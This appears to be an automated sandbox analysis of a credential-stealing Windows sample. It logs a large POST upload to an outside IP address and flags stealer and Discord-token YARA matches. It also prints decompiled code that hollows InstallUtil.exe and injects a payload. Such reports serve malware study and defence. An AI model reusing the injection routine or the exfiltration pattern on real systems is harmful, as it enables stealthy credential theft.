May 24, 2023 14:10:31.641706944 CEST	183	OUT	POST /uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary="d93d91ad-9e20-4217-96c8-9bc98e4c52bc" Host: 85.192.63.194:5001 Content-Length: 89557 Expect: 100-continue Connection: Keep-Alive
May 24, 2023 14:10:31.674005032 CEST	183	IN	HTTP/1.1 100 Continue
May 24, 2023 14:10:31.706753016 CEST	196	IN	HTTP/1.1 100 Continue
May 24, 2023 14:10:32.203778982 CEST	273	IN	HTTP/1.1 200 OK Server: Werkzeug/2.2.3 Python/3.10.6 Date: Wed, 24 May 2023 12:10:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2 Connection: close

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 7040, Parent PID: 3320

General

Target ID:	0
Start time:	14:09:44
Start date:	24/05/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x1a0000
File size:	1219328 bytes
MD5 hash:	2DF2884B8B1A86FA61343EA81352EC77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7016, Parent PID: 7040

General

Target ID:	1
Start time:	14:09:44
Start date:	24/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: InstallUtil.exePID: 7152, Parent PID: 7040

General

Target ID:	2
Start time:	14:09:45
Start date:	24/05/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Imagebase:	0x990000
File size:	41064 bytes
MD5 hash:	EFEC8C379D165E3F33B536739AEE26A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 7040, Parent PID: 3320COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	79

Executed Functions

Function 001A2660 Relevance: 51.0, APIs: 14, Strings: 15, Instructions: 284
nativethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E001A2660(void* __ecx, void* __eflags) {
				signed int _v8;
				void* _v28;
				void* _v100;
				void* _v544;
				void* _v552;
				void* _v584;
				struct _STARTUPINFOW _v616;
				void _v624;
				void* _v628;
				void* _v632;
				void** _v644;
				char _v648;
				long* _v652;
				void* _v656;
				void* _v660;
				intOrPtr _v664;
				void* _v668;
				char _v672;
				CONTEXT* _v676;
				intOrPtr _v680;
				void* _v684;
				void* _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				intOrPtr _v700;
				void* _v704;
				CONTEXT* _v708;
				intOrPtr _v716;
				void* _v720;
				void* _v724;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t91;
				intOrPtr* _t97;
				signed short _t98;
				CONTEXT* _t103;
				void* _t105;
				void* _t107;
				struct HWND__* _t108;
				void* _t110;
				void _t114;
				WCHAR* _t118;
				void* _t121;
				void* _t123;
				void* _t125;
				intOrPtr _t130;
				void* _t132;
				void _t155;
				void* _t159;
				intOrPtr* _t164;
				void* _t166;
				void* _t167;
				intOrPtr* _t171;
				intOrPtr* _t174;
				void** _t191;
				intOrPtr _t197;
				void* _t198;
				intOrPtr _t213;
				void* _t215;
				signed int _t216;
				void* _t217;
				void* _t219;
				void* _t222;
				void* _t223;
				void* _t224;
				void* _t226;
				void* _t229;
				void* _t230;
				struct HINSTANCE__* _t233;
				void* _t235;
				CONTEXT* _t237;
				void* _t238;
				void* _t240;
				signed int _t241;
				signed int _t243;
				void* _t244;
				signed int _t245;

				_t167 = __ecx;
				_t243 = (_t241 & 0xfffffff0) - 0x2a8;
				_t91 =  *0x1d5010; // 0x8121a627
				_v8 = _t91 ^ _t243;
				asm("xorps xmm0, xmm0");
				asm("movlpd [esp+0x5c], xmm0");
				asm("movlpd [esp+0x64], xmm0");
				asm("movlpd [esp+0x6c], xmm0");
				asm("movlpd [esp+0x74], xmm0");
				asm("movlpd [esp+0x7c], xmm0");
				asm("movlpd [esp+0x84], xmm0");
				asm("movlpd [esp+0x8c], xmm0");
				asm("movlpd [esp+0x94], xmm0");
				asm("movaps [esp+0x40], xmm0");
				E001A2200();
				_t171 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t94 + 4)) + E001A2CB0() + 0x30)) + 4));
				_v644 = _t171;
				 *((intOrPtr*)( *_t171 + 4))(_t167, _t215, _t230);
				_t97 = E001A53D0(_t166, _t215);
				_t244 = _t243 + 4;
				_t98 =  *((intOrPtr*)( *((intOrPtr*)( *_t97 + 0x30))))(0xa,  &_v648);
				_t174 = _v648;
				_t216 = _t98 & 0x0000ffff;
				if(_t174 != 0) {
					_t164 =  *((intOrPtr*)( *((intOrPtr*)( *_t174 + 8))))();
					if(_t164 != 0) {
						 *((intOrPtr*)( *_t164))(1);
					}
				}
				E001A5CB0(_t231, _t216); // executed
				E001A4600(_t231); // executed
				E001A4CB0(); // executed
				_t217 = GetModuleHandleW(L"kernel32.dll");
				_t103 =  *0x1d5a9c; // 0x80
				_v656 = _t217;
				_v676 = _t103;
				_t233 = GetModuleHandleW(L"ntdll.dll"); // executed
				_t105 = L001A2420(_t166, _t217, "GetWindowsDirectoryW"); // executed
				_v664 = _t105 + _t217;
				_t107 = L001A2420(_t166, _t233, "ZwWriteVirtualMemory"); // executed
				_t108 = _t107 + _t233;
				_v668 = _t108;
				__imp__GetConsoleWindow(); // executed
				ShowWindow(_t108, 0); // executed
				_t208 = "CreateProcessW";
				_t110 = L001A2420(_t166, _t217, "CreateProcessW"); // executed
				 *((intOrPtr*)(_t244 + 0x58)) = 0x44;
				_v660 = _t110 + _t217;
				_v664(_t244 + 0xa0, 0x104);
				_t219 = _t244 + 0x9e;
				do {
					_t114 =  *(_t219 + 2);
					_t219 = _t219 + 2;
				} while (_t114 != 0);
				 *(_t244 + 0x54) = 0;
				_t118 = memcpy(_t219, L"\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", 0x1a << 2);
				_t245 = _t244 + 0xc;
				if(CreateProcessW(_t118, 0, 0, 0, 0, 4, 0, 0,  &_v616, _t244 + 0x40) == 0) {
					L17:
					_pop(_t222);
					_pop(_t235);
					return E001A9545(_t119, _t166,  *(_t245 + 0x2ac) ^ _t245, _t208, _t222, _t235);
				} else {
					while(1) {
						_t223 = _v660;
						_t121 = L001A2420(_t166, _t223, "VirtualAllocEx"); // executed
						_v684 = _t121 + _t223;
						_t123 = VirtualAllocEx(0xffffffff, 0, 4, 0x1000, 4); // executed
						_v676 = _t123;
						 *_t123 = 0x10007; // executed
						L001A2420(_t166, _t223, "GetThreadContext"); // executed
						_t208 = "SetThreadContext";
						_t125 = L001A2420(_t166, _t223, "SetThreadContext"); // executed
						_v656 = _t125 + _t223;
						_t119 = GetThreadContext( *(_t245 + 0x48), _v676); // executed
						if(_t119 == 0) {
							goto L17;
						}
						L001A2420(_t166, _t223, "ReadProcessMemory"); // executed
						_t237 = _v676;
						ReadProcessMemory( *(_t245 + 0x50), _t237->Ebx + 8,  &_v624, 4, 0); // executed
						_t130 = _v680;
						_t191 = _t130 + 0x1d5a94;
						_v644 = _t191;
						_v684 = VirtualAllocEx( *(_t245 + 0x50),  *_t191,  *(_t130 + "is program cannot be run in DOS mode.\r\r\n$"), 0x3000, 0x40);
						_t132 = L001A2420(_t166, _t223, "TerminateProcess"); // executed
						_v648 = _t132 + _t223;
						NtWriteVirtualMemory( *(_t245 + 0x50), _v684, 0x1d5a60,  *(_v680 + "rogram cannot be run in DOS mode.\r\r\n$"), _t245 + 0x54);
						_t213 = _v700;
						if(_t213 != 0) {
							if(0 <  *((intOrPtr*)(_v696 + 0x1d5a66))) {
								_t238 = 0;
								_t224 = 0;
								do {
									_t197 =  *0x1d5a9c; // 0x80
									_t198 = _t197 + _t238;
									_t69 = _t198 + 0x1d5b68; // 0x2c000
									_t70 = _t198 + 0x1d5b6c; // 0x200
									_t71 = _t198 + 0x1d5b64; // 0x2000
									NtWriteVirtualMemory(_v656,  *_t71 + _t213,  *_t70 + 0x1d5a60,  *_t69, 0);
									_t224 = _t224 + 1;
									_t213 = _v716;
									_t238 = _t238 + 0x28;
								} while (_t224 < ( *( *((intOrPtr*)(_t245 + 0x18)) + 0x1d5a66) & 0x0000ffff));
								_t223 = _v692;
								_t237 = _v708;
							}
							NtWriteVirtualMemory(_v656, _t237->Ebx + 8, _v660, 4, 0);
							_t237->Eax =  *((intOrPtr*)( *((intOrPtr*)(_t245 + 0x18)) + 0x1d5a88)) + _v716;
							SetThreadContext(_v668, _t237);
							_t208 = "ResumeThread";
							L001A2420(_t166, _t223, "ResumeThread"); // executed
							_t119 = ResumeThread(_v668); // executed
							goto L17;
						} else {
							_v664(_v656, 5);
							_v692(_t245 + 0xa4, 0x104);
							_t226 =  &(_v616.dwFillAttribute) + 0xfffffffe;
							do {
								_t155 =  *(_t226 + 2);
								_t226 = _t226 + 2;
							} while (_t155 != 0);
							_v652 = 0;
							_push( &_v672);
							_push( &_v648);
							_push(0);
							_push(0);
							_push(4);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_t159 = memcpy(_t226, L"\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", 0x1a << 2);
							_t245 = _t245 + 0xc;
							_push(_t159);
							if(_v696() != 0) {
								continue;
							} else {
								_pop(_t229);
								_pop(_t240);
								return E001A9545(_t160, _t166,  *(_t245 + 0x2a4) ^ _t245, _t213, _t229, _t240);
							}
						}
						goto L18;
					}
					goto L17;
				}
				L18:
			}

0x001a2660
0x001a2666
0x001a266c
0x001a2673
0x001a267a
0x001a267f
0x001a2685
0x001a268b
0x001a2691
0x001a2697
0x001a269d
0x001a26a6
0x001a26af
0x001a26b8
0x001a26bd
0x001a26d3
0x001a26d6
0x001a26dc
0x001a26e4
0x001a26e9
0x001a26f5
0x001a26f7
0x001a26fb
0x001a2700
0x001a2707
0x001a270b
0x001a2713
0x001a2713
0x001a270b
0x001a2718
0x001a271f
0x001a2724
0x001a2736
0x001a2738
0x001a2742
0x001a2746
0x001a2753
0x001a2755
0x001a2763
0x001a2767
0x001a276c
0x001a2770
0x001a2774
0x001a277b
0x001a2781
0x001a2788
0x001a278f
0x001a2797
0x001a27a8
0x001a27b3
0x001a27b6
0x001a27b6
0x001a27ba
0x001a27bd
0x001a27c6
0x001a27f3
0x001a27f3
0x001a27fc
0x001a2a2a
0x001a2a31
0x001a2a32
0x001a2a3d
0x001a2802
0x001a2802
0x001a2802
0x001a280d
0x001a2821
0x001a2825
0x001a282c
0x001a2832
0x001a2838
0x001a283d
0x001a2847
0x001a2856
0x001a285a
0x001a285e
0x00000000
0x00000000
0x001a286b
0x001a2870
0x001a288d
0x001a288f
0x001a289a
0x001a28a6
0x001a28b9
0x001a28bf
0x001a28ca
0x001a28e6
0x001a28ea
0x001a28f0
0x001a298d
0x001a298f
0x001a2991
0x001a2993
0x001a2993
0x001a2999
0x001a299d
0x001a29a3
0x001a29af
0x001a29bc
0x001a29c4
0x001a29c5
0x001a29c9
0x001a29d3
0x001a29d7
0x001a29db
0x001a29db
0x001a29f5
0x001a2a08
0x001a2a12
0x001a2a16
0x001a2a1d
0x001a2a28
0x00000000
0x001a28f6
0x001a28fc
0x001a290d
0x001a2918
0x001a2920
0x001a2920
0x001a2924
0x001a2927
0x001a2930
0x001a2938
0x001a2942
0x001a2943
0x001a2945
0x001a2947
0x001a2949
0x001a294b
0x001a294d
0x001a294f
0x001a295d
0x001a295d
0x001a295f
0x001a2966
0x00000000
0x001a296c
0x001a296c
0x001a296d
0x001a297f
0x001a297f
0x001a2966
0x00000000
0x001a28f0
0x00000000
0x001a2802
0x00000000

APIs

Part of subcall function 001A53D0: std::_Lockit::_Lockit.LIBCPMT ref: 001A53FC
Part of subcall function 001A53D0: std::_Lockit::_Lockit.LIBCPMT ref: 001A5419
Part of subcall function 001A53D0: std::_Lockit::~_Lockit.LIBCPMT ref: 001A543D
Part of subcall function 001A53D0: std::_Lockit::~_Lockit.LIBCPMT ref: 001A5468

GetModuleHandleW.KERNEL32(kernel32.dll,?), ref: 001A2734
GetModuleHandleW.KERNEL32(ntdll.dll), ref: 001A274A
GetConsoleWindow.KERNELBASE(00000000), ref: 001A2774
ShowWindow.USER32(00000000), ref: 001A277B
CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 001A27F6
VirtualAllocEx.KERNELBASE(000000FF,00000000,00000004,00001000,00000004), ref: 001A2825
GetThreadContext.KERNELBASE(?,?), ref: 001A285A
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 001A288D
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 001A28B0
NtWriteVirtualMemory.NTDLL(?,?,001D5A60,?,00000000), ref: 001A28E6
NtWriteVirtualMemory.NTDLL(?,00002000,-001D5860,0002C000,00000000), ref: 001A29BC
NtWriteVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 001A29F5
SetThreadContext.KERNELBASE(?,?), ref: 001A2A12
ResumeThread.KERNELBASE(?), ref: 001A2A28

Strings

H' , xrefs: 001A2442
D, xrefs: 001A278F
take it everywhere, xrefs: 001A2439
GetWindowsDirectoryW, xrefs: 001A274C
VirtualAllocEx, xrefs: 001A2806
kernel32.dll, xrefs: 001A272F
CreateProcessW, xrefs: 001A2781
ZwWriteVirtualMemory, xrefs: 001A275C
SetThreadContext, xrefs: 001A283D
ReadProcessMemory, xrefs: 001A2864
\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, xrefs: 001A27EE, 001A2958
TerminateProcess, xrefs: 001A28B4
GetThreadContext, xrefs: 001A2827
ntdll.dll, xrefs: 001A273D
ResumeThread, xrefs: 001A2A16

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: Virtual$LockitMemorystd::_$ThreadWrite$AllocContextHandleLockit::_Lockit::~_ModuleProcessWindow$ConsoleCreateReadResumeShow
String ID: CreateProcessW$D$GetThreadContext$GetWindowsDirectoryW$H' $ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAllocEx$ZwWriteVirtualMemory$\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe$kernel32.dll$ntdll.dll$take it everywhere
API String ID: 1567419398-101210817
Opcode ID: fb58cc3878939bfd89a47d579b3b97e37a7bd993e5f2c68bc31233e7edf5a191
Instruction ID: 91c6c1f43943199b4add74281eb49cebbef083809d001fb29d93024c161cfd41
Opcode Fuzzy Hash: fb58cc3878939bfd89a47d579b3b97e37a7bd993e5f2c68bc31233e7edf5a191
Instruction Fuzzy Hash: F7B18A756043009BC720DF68CC45B6ABBE6BFDA704F144A1EF6859B291DBB0E801CB96

Uniqueness

Uniqueness Score: -1.00%

Function 001AA1E7 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001AA1E7() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E001AA1F3); // executed
				return _t1;
			}

0x001aa1ec
0x001aa1f2

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_0000A1F3,001A966C), ref: 001AA1EC

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1e36cec10ae690f6aa52bdfe4a3c4023c6f11b9b59e830874da1189f0c1b19d1
Instruction ID: 31466d13b494279191610320f89f5e0cd8ac9c1784bfde5e56f81c96e3801ff2
Opcode Fuzzy Hash: 1e36cec10ae690f6aa52bdfe4a3c4023c6f11b9b59e830874da1189f0c1b19d1
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 001BF51B Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001BF51B(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E001B8A1F(_t16,  &_v8); // executed
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x001bf528
0x001bf52a
0x001bf52d
0x001bf530
0x001bf533
0x001bf544
0x001bf546
0x001bf535
0x001bf539
0x001bf542
0x00000000
0x00000000
0x001bf542
0x001bf54b

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc74820fb1b97d61900c022ac5f00d40ea5610daf8fcc634aee477727c61efaa
Instruction ID: 7efd4403a92f0a0288a7a3099062b740e6fc601ce4bfa4a613e3274a79f4579e
Opcode Fuzzy Hash: dc74820fb1b97d61900c022ac5f00d40ea5610daf8fcc634aee477727c61efaa
Instruction Fuzzy Hash: 94E0EC72A112A8EBCB25DF99D94498AF3ECFB49B50B5544AAF511E3111C770DE01C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 001B3E39 Relevance: .0, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001B3E39(void* __ecx, void* __eflags) {
				void* _t3;

				_t3 = E001BF51B(__ecx); // executed
				if(_t3 == 1 || ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) != 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x001b3e39
0x001b3e41
0x001b3e5a
0x001b3e55
0x001b3e57
0x001b3e57

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84f167cc2a55593233b99851ee93526c1d38135f9da0d65acc0b3a944d5bd5d5
Instruction ID: 4e916999d9d947215f2b8fe0fba09beaa8eea3a3091a3dbf462e1ff5beffb251
Opcode Fuzzy Hash: 84f167cc2a55593233b99851ee93526c1d38135f9da0d65acc0b3a944d5bd5d5
Instruction Fuzzy Hash: 69C08C3520098466CE298910C2713E83354A3A6F82FC0048DC82A0B682D71EFE82D710

Uniqueness

Uniqueness Score: -1.00%

Function 001B88D1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E001B88D1(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t17;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0x203380 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0x1cab60 + _t29 * 4);
						_t17 = LoadLibraryExW(_t26, 0, 0x800); // executed
						_t38 = _t17;
						if(_t38 != 0) {
							L14:
							_t30 = 0x203380 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0x203380 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E001B6358(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E001B6358(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

0x001b88da
0x001b896f
0x001b88e2
0x001b88e4
0x001b88ee
0x001b88f3
0x001b8900
0x001b890f
0x001b8915
0x001b8919
0x001b897f
0x001b8984
0x001b898b
0x001b898f
0x001b8992
0x001b8992
0x001b8998
0x001b8998
0x001b897a
0x001b897e
0x001b897e
0x001b891b
0x001b8924
0x001b895d
0x001b896a
0x001b896c
0x001b896c
0x00000000
0x001b896c
0x001b892e
0x001b8933
0x001b8938
0x00000000
0x00000000
0x001b8942
0x001b8947
0x001b894c
0x00000000
0x00000000
0x001b8951
0x001b8957
0x001b895b
0x00000000
0x00000000
0x00000000
0x001b895b
0x001b88f8
0x00000000
0x00000000
0x00000000
0x001b88fe
0x001b8978
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,8121A627,?,001B89DE,?,?,00000000,00000000), ref: 001B8992

Strings

ext-ms-, xrefs: 001B893C
api-ms-, xrefs: 001B8928

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4c46d7ee5e0e98df026758123ee8f87dae0384bf64d02c46d645f8188468394d
Instruction ID: 6e5be4dd2fae3973e6a103ae42174d71ddffc1f857126fdca37de07be6942f44
Opcode Fuzzy Hash: 4c46d7ee5e0e98df026758123ee8f87dae0384bf64d02c46d645f8188468394d
Instruction Fuzzy Hash: 2921B735A05311ABCF25AB24EC45EEA376C9F92FA8F250164F915A72D1DF70ED00C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 001A7B14 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E001A7B14() {
				intOrPtr* _t36;
				void* _t41;
				void* _t58;
				intOrPtr* _t64;
				void* _t71;
				void* _t72;
				void* _t74;
				intOrPtr* _t75;
				intOrPtr* _t76;
				void* _t78;

				_push(8);
				E001A9A79(0x1c68ac, _t58, _t72, _t74);
				E001A612A(_t78 - 0x14, 0);
				_t75 =  *0x2028bc; // 0xb13290
				 *(_t78 - 4) =  *(_t78 - 4) & 0x00000000;
				 *((intOrPtr*)(_t78 - 0x10)) = _t75;
				_t36 = E001A1B80( *((intOrPtr*)(_t78 + 8)), E001A1AA0(_t58, 0x202720, _t71, _t72));
				_t73 = _t36;
				if(_t36 != 0) {
					L5:
					E001A6182(_t78 - 0x14);
					return E001A9A56(_t73);
				} else {
					if(_t75 == 0) {
						_push( *((intOrPtr*)(_t78 + 8)));
						_push(_t78 - 0x10); // executed
						_t41 = E001A7F84(_t58, _t73, _t75, __eflags); // executed
						_pop(_t64);
						__eflags = _t41 - 0xffffffff;
						if(__eflags == 0) {
							E001A1910();
							asm("int3");
							_push(8);
							E001A9A79(0x1c68ea, _t58, _t73, _t75);
							_t76 = _t64;
							 *((intOrPtr*)(_t78 - 0x14)) = _t76;
							 *((intOrPtr*)(_t78 - 0x10)) = 0;
							__eflags =  *((intOrPtr*)(_t78 + 0x10));
							if( *((intOrPtr*)(_t78 + 0x10)) != 0) {
								 *_t76 = 0x1c7484;
								 *((intOrPtr*)(_t76 + 0x10)) = 0;
								 *((intOrPtr*)(_t76 + 0x30)) = 0;
								 *((intOrPtr*)(_t76 + 0x34)) = 0;
								 *((intOrPtr*)(_t76 + 0x38)) = 0;
								 *((intOrPtr*)(_t76 + 8)) = 0x1c7478;
								 *(_t78 - 4) = 0;
								 *((intOrPtr*)(_t78 - 0x10)) = 1;
							}
							 *((intOrPtr*)(_t76 +  *((intOrPtr*)( *_t76 + 4)))) = 0x1c7480;
							_t28 =  *((intOrPtr*)( *_t76 + 4)) - 8; // -8
							 *((intOrPtr*)( *((intOrPtr*)( *_t76 + 4)) + _t76 - 4)) = _t28;
							__eflags =  *((intOrPtr*)( *_t76 + 4)) + _t76;
							E001A8284(_t58,  *((intOrPtr*)( *_t76 + 4)) + _t76, _t73,  *((intOrPtr*)( *_t76 + 4)) + _t76,  *((intOrPtr*)(_t78 + 8)),  *((intOrPtr*)(_t78 + 0xc)));
							return E001A9A56(_t76);
						} else {
							_t73 =  *((intOrPtr*)(_t78 - 0x10));
							 *((intOrPtr*)(_t78 - 0x10)) = _t73;
							 *(_t78 - 4) = 1;
							E001A644B(__eflags, _t73);
							 *0x1c7144();
							 *((intOrPtr*)( *((intOrPtr*)( *_t73 + 4))))();
							 *0x2028bc = _t73;
							goto L5;
						}
					} else {
						_t73 = _t75;
						goto L5;
					}
				}
			}

0x001a7b14
0x001a7b1b
0x001a7b25
0x001a7b2a
0x001a7b35
0x001a7b39
0x001a7b45
0x001a7b4a
0x001a7b4e
0x001a7b93
0x001a7b96
0x001a7ba2
0x001a7b50
0x001a7b52
0x001a7b58
0x001a7b5e
0x001a7b5f
0x001a7b65
0x001a7b66
0x001a7b69
0x001a7ba3
0x001a7ba8
0x001a7ba9
0x001a7bb0
0x001a7bb5
0x001a7bb7
0x001a7bbc
0x001a7bbf
0x001a7bc2
0x001a7bc4
0x001a7bca
0x001a7bcd
0x001a7bd0
0x001a7bd3
0x001a7bd6
0x001a7bdd
0x001a7be0
0x001a7be0
0x001a7bf2
0x001a7bfe
0x001a7c01
0x001a7c0a
0x001a7c0c
0x001a7c18
0x001a7b6b
0x001a7b6b
0x001a7b6e
0x001a7b72
0x001a7b76
0x001a7b83
0x001a7b8b
0x001a7b8d
0x00000000
0x001a7b8d
0x001a7b54
0x001a7b54
0x00000000
0x001a7b54
0x001a7b52

APIs

__EH_prolog3.LIBCMT ref: 001A7B1B
std::_Lockit::_Lockit.LIBCPMT ref: 001A7B25

Part of subcall function 001A1AA0: std::_Lockit::_Lockit.LIBCPMT ref: 001A1ABC
